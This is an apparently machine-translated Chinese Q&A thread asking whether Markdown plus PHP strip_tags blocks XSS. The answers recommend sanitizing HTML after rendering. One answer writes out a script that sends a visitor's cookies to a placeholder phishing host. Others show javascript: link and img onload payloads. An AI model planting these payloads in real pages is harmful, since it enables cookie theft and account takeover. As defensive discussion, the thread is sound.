Markdown(带有strip_tags)是否足以阻止XSS攻击?

时间:2009-08-04 09:01:44

标签: php mysql xss markdown

我正在开发一个Web应用程序,允许用户在目录中键入项目的简短描述。我在我的textareas中允许Markdown,因此用户可以进行一些HTML格式化。

我的文本清理功能会在将任何输入的文本插入数据库之前从其中删除所有标记:

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}

基本上,我存储在数据库中的所有内容都是Markdown - 没有其他HTML,甚至是“基本HTML”(如此处所示)是允许的。

允许降价会出现任何安全威胁吗?降价可以是XSSed,即使它没有标签吗?

7 个答案:

答案 0 :(得分:9)

我认为从输入中删除任何HTML标记会给你一些非常安全的东西 - 除非有人找到一种方法将一些真正混乱的数据注入Markdown,让它产生一些更加混乱的输出^^

不过,我想到的有两件事:

第一个: strip_tags不是奇迹功能:它有一些缺陷......
例如,它会在'<'之后删除所有内容,如下所示:

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));

我得到的输出是:

string '10 appels is ' (length=13)

对您的用户来说哪个不太好: - (


第二个:有一天,您可能想要允许一些HTML标记/属性;或者,即使在今天,您也可能希望确保Markdown不会生成一些HTML标签/属性。

您可能对HTMLPurifier之类的内容感兴趣:它允许您指定应保留哪些标记和属性,并过滤字符串,以便只保留字符串。

它还会生成有效的HTML代码 - 总是很好; - )

答案 1 :(得分:7)

以下是一个可爱的示例,说明为什么需要在之后而不是之前清理HTML:

降价代码:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>

呈现为:

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 

你现在担心吗?

答案 2 :(得分:3)

渲染Markdown后清理生成的HTML将是最安全的。如果你不这样做,我认为人们可以在Markdown中执行任意Javascript,如下所示:

[Click me](javascript:alert\('Gotcha!'\);)

PHP Markdown将其转换为:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>

这项工作是做什么的。 ......甚至不考虑开始添加代码来处理这些情况。正确的清理并不容易,只需使用一个好的工具并在将Markdown渲染为HTML后应用它。

答案 3 :(得分:2)

  

允许降价出现   安全威胁?降价可以   XSSed,即使它没有标签?

在这方面做出绝对陈述几乎是不可能的 - 谁能说出降价解析器可以通过足够错误的输入被欺骗?

然而,风险可能非常低,因为它是一种相对简单的语法。最明显的攻击角度是javascript:链接或图像中的URL - 解析器可能不允许这样做,但这是我要检查的内容。

答案 4 :(得分:1)

没有。你使用Markdown的方式并不安全。 Markdown可以安全使用,但您必须正确使用它。有关如何安全使用Markdown的详细信息,请查看here。有关如何安全使用它的详细信息,请参阅链接,但简短版本是:使用最新版本,设置safe_mode和设置enable_attributes=False非常重要。

该链接还解释了为什么转义输入然后调用Markdown(正如您所做的那样)不足以保证安全。简短的例子:“[clickme](javascript:alert%28%22xss%22%29)”。

答案 5 :(得分:0)

BBcode提供更多安全性,因为您正在生成标签。

&lt; img src =“”onload =“javascript:alert(\'haha \');”/&gt;

如果&lt; img&gt;是允许的,这将直接通过strip_tags;)Bam!

答案 6 :(得分:0)

我同意Pascal MARTIN的观点,即HTML Sanitization是一种更好的方法。如果您想完全使用JavaScript,我建议您查看google-caja's sanitization librarysource code)。